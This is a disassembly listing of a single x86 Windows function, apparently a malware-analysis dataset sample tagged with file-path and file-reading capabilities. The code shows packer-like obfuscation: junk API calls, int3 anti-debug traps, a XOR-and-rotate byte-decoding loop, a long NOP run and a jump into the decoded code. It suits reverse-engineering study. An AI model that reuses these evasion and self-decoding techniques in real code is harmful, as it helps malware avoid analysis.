Function at 0x401000
Capabilities:
Get common file path
Read file on windows

Disassembly:
push edx
push 0x426dc2
pop esi
mov ebx, 0x1116
mov ebp, esp
test ebp, ebp
jne 0x40101b
jmp 0x4014b8
push ebp
pop edx
cmp dx, 0xff00
jbe 0x40101b
ja 0x40102c
ret
mov eax, sym.imp.kernel32.dll_GetTickCount
call dword [eax]
mov eax, sym.imp.kernel32.dll_GetTickCount
call dword [eax]
mov eax, sym.imp.kernel32.dll_GetACP
call dword [eax]
mov eax, sym.imp.kernel32.dll_GetTickCount
call dword [eax]
mov eax, sym.imp.kernel32.dll_GetTickCount
call dword [eax]
mov eax, sym.imp.kernel32.dll_GetTickCount
call dword [eax]
add esi, 0xfffdce3e
add ebx, 0x401eea
pushal
push 0x17c
sub esp, 4
mov dword [esp], esi
call dword [sym.imp.kernel32.dll_GetSystemDirectoryA]
mov edx, 0x12ffb0
cmp ecx, edx
jne 0x401088
jne 0x401088
int3
call fcn.0040119e
mov eax, sym.imp.kernel32.dll_GetTickCount
call dword [eax]
push 0x70
pop eax
add eax, ebx
push 0x5160
add dword [esp], 0x1112
mov edx, esp
push edx
push esi
call dword [eax]
test eax, eax
jne 0x4010cc
jne 0x4010cc
jne 0x4010cc
jne 0x4010cc
jne 0x4010cc
int3
sub esp, 4
mov dword [esp], eax
sub esp, 4
mov dword [esp], 1
push 0x132
sub esp, 4
mov dword [esp], esi
call dword [sym.imp.msvcrt.dll_fread]
xor eax, eax
mov eax, 0x2a
or eax, 0x14
sub eax, 2
add eax, esi
mov eax, dword [eax]
add eax, esi
push 0x1e
pop edi
sub edi, 2
mov eax, dword [eax + edi]
mov edi, 0x206ff
cmp edx, edi
cmp edx, edi
cmp edx, edi
cmp edx, edi
cmp ecx, edi
cmp eax, edi
nop
nop
jle 0x4014b8
jle 0x4014b8
jmp 0x401254
pop eax
mov edi, 0x403c0a
xor eax, eax
add esp, 0x3c
jmp 0x4014b8
mov esi, esi
pushal
push 0x3e00
pop ecx
push eax
add esp, 4
push ecx
push esi
sub esi, 1
mov esi, dword [esi + ecx]
push esi
pop eax
pop esi
pop ecx
sub edx, 1
xor al, 0xf1
rol al, 2
dec al
dec al
dec al
dec al
dec al
push esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov ebx, ecx
push eax
dec ebx
mov byte [ebx + esi], al
pop eax
popal
push eax
push dword [esp + 4]
pop eax
mov esi, eax
pop eax
add esp, 4
sub ecx, 1
test ecx, ecx
je 0x4014aa
nop
nop
nop
nop
call 0x40125e
popal
je 0x401131
jne 0x401131
ret
add edi, 0x11fa
push edi
ret